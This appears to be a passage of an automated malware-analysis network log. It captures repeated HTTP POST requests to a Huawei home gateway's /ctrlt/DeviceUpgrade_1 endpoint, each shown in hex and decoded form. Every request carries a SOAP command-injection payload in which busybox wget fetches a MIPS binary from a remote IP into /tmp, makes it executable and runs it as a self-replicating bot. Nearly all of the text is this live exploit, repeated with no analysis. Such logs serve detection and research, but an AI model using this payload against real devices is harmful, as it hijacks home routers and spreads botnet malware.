77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 